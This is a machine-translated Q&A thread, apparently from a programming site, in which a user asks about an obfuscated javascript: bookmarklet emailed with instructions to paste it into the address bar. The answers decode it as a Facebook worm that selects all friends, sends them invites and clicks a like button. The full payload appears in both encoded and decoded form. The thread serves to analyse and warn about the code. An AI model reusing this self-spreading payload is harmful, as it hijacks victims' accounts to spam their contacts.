好的,碰巧是我的好朋友的人最近给我发了一些奇怪的电子邮件,其中一封是一个页面链接,要求你将其复制并粘贴到浏览器的地址栏然后执行。 ..
javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})();
在低级别编程时,我并不完全喜欢它,我很好奇这封电子邮件在这里要求的内容......
请不要运行这个代码,除非你很高兴它不会破坏任何事情。
但是......有人可以告诉我它的作用吗?
答案 0 :(得分:12)
a = 'app125879300771588_jop';
b = 'app125879300771588_jode';
ifc = 'app125879300771588_ifc';
ifo = 'app125879300771588_ifo';
mw = 'app125879300771588_mwrapper';
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"];
d = document;
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]];
d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();
setTimeout(function () {
fs[_0xc100[8]]();
}, 5000);
setTimeout(function () {
SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]);
}, 5000);
setTimeout(function () {
d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();
d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]];
}, 5000);
这很可能是许多Facebook蠕虫之一的适应性发送给你所有的朋友。
Looke here提出类似的问题。
其他版本使用p.a.c.k.e.r进行混淆,通过http://jsbeautifier.org/
运行p.a.c.k.e.r代码可以轻松地对这些进行反混淆处理。答案 1 :(得分:12)
我没有完全解码代码,但这里有一些提示。
变量_0xc100
定义了一个字符串数组。字符编码为十六进制,因此读取它们更加困难。因此,例如,\ x76等于“v”。
您可以安全地alert(_0xc100);
以纯文本格式查看。
var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79",
"\x73\x74\x79\x6C\x65",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x68\x69\x64\x64\x65\x6E",
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x76\x61\x6C\x75\x65",
"\x63\x6C\x69\x63\x6B",
"\x73\x75\x67\x67\x65\x73\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
"\x6C\x69\x6B\x65\x6D\x65"];
转换为包含这些关键字的数组
visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all,
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme
现在,以下语句(不执行这些)使用这些关键字来实际执行功能。
例如:
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
相当于(d
定义为document
,mw
定义在顶部)
document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden";
隐藏了一个名为app125879300771588_mwrapper
以下说明给出了
document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value;
将app125879300771588_jop
的内容复制到app125879300771588_jode
和
document.getElementById("suggest").click();
我想点击一些“建议”按钮。
最后,它设置3个setTimeout函数,在5秒后执行3个命令(5000)
他们翻译为
setTimeout(function () {
select_all();
}, 5000);
我假设选择了所有朋友......
setTimeout(function ()
{
SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
}, 5000);
...发送邀请
setTimeout(function ()
{
document.getElementById("likeme").click();
document.getElementById("app125879300771588_ifo").innerHTML =
document.getElementById("app125879300771588_ifc").value;
}, 5000);
...并按下类似按钮
请注意,我不使用Facebook,我不知道它的来龙去脉,但我想很明显这段代码是恶意的。
答案 2 :(得分:4)
这是obfuscated bookmarklet。您可以(仔细)对其进行取消混淆,以查看它将运行的实际Javascript。但是,如果你没有强大的需求,可能不值得打扰。我把它收起来并与我的朋友核实,看看它是否真的来自他/她,如果是的话,为什么。